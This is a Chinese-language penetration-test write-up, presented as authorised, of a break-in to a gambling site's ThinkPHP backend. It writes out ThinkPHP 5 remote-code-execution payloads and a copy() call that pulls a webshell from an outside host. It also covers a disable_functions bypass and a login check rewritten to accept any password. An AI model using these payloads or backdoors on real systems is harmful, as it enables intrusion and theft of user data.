提笔
声明: 本次为授权渗透
就下面这个站,说是某地一位**人员挪用大额公款赌博......
听说这哥们已经被制裁了一年多了?
我就纳闷了,赌博有啥意思,小赌伤钱,大赌伤大钱,强赌管吃管住的
正题
现有材料:
apk*1, 网址*1, vip10账户*1 (赌博那哥们的)
0x00 资产摸牌
这个前端最开始以为是个前后端分离的站,毕竟这种站遇到的百分之八十都是前后端分离的
后来找到一个神似的源码后,发现是tp3二开后魔改的,只不过路由改的比较离谱...
前端碰壁,没有啥可利用的,就从App入手了,重点突破也在Apk这里
apk分析
在apk中找到一个ip地址,而且在反编后的代码中搜索,发现该ip为App的api接口地址
用户的数据信息都是从这里获取的通过hunter.qianxin.com搜索,发现该地址的8300端口有跳转向/admin/public/login.html,根据目录推测为App的后台
0x01 后台
看跳转的路径类似ThinkPHP结构,尝试tp的几种框架特征后,请求后确定为TP框架
使用TP漏洞检测工具测试
提示同时存在TP5和TP3的漏洞,有点迷,就离谱
配置系统代理,使用BurpSuite抓包后使用tp5.*invokefunction漏洞执行命令并查看响应包
这竟然是TP的报错 ......
分析报错代码
Payload
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
提示index模块不存在,但是查看该TP版本为 TP 5.0.14,所以猜测该漏洞有可能会存在
重新构造payload
根据自动跳转的/admin,重新构造payload为
/index.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
这个payload有个问题,通过call_user_func_array构造函数,在php7及以上版本里assert被禁掉了,所以在这些版本里命令执行漏洞不可行,或许有其他方式构造语句,但是我懒(●'◡'●)
成功执行代码
直接连接蚁剑,这过程中遇到一些玄学问题,蚁剑、冰蝎...都连不上,可能是因为响应码为500吧
这种感觉,就好像剑就在我手边,可我就是摸不到一样 ?
耗费我半个小时以后,使用copy函数成功给根目录写入shell
copy("","目标shell")
copy("http://www.xxx.xx/shell.txt","./shell.php")
本次使用的 https://www.birdy02.com/46265.htm 的免杀shell
disable_functions绕过
查看phpinfo中的disable_functions里,把所有执行命令的函数禁了,真狠啊
尝试使用LD_PRELOAD绕过,不过php运行程序都不在默认目录里
在对方文件夹里翻了翻,在 “/usr/local/php/bin/” 下找到了php运行程序,成功绕过
LD_PRELOAD的绕过方式是上传了一个.autproxy.php,将目标shell文件设置为.autproxy.php,配置与原shell一样连接即可,成功绕过。
提权
略,拿到root权限
资产摸排
这服务器上搭了六个站,都是站库分离的,不过数据库在内网
登录后台
准备登录后台,结果后台密码数据库里的解不开
当初老师教TP的时候我偷懒了,没想到有一天我竟然会天天审TP !!!
把源码脱下来审了一波,发现验证密码的时候用的 return 1 == 1 这种形式,这不就好办了
直接return true,不做比较,实现任意密码登录
成功登录后台 *1
有三个后台神似,就不发了,而且这三个后台还存在横向越权 ···
用户还挺多,过万了
成功登录后台 *2
懒得写了,交作业
补充
公众号文章地址: https://mp.weixin.qq.com/s/GzU_JE5SL-LTVc-L-FFh1A
站点搭配:
CMS: ThinkCMF
DB: MySQL
Nginx + PHP
评论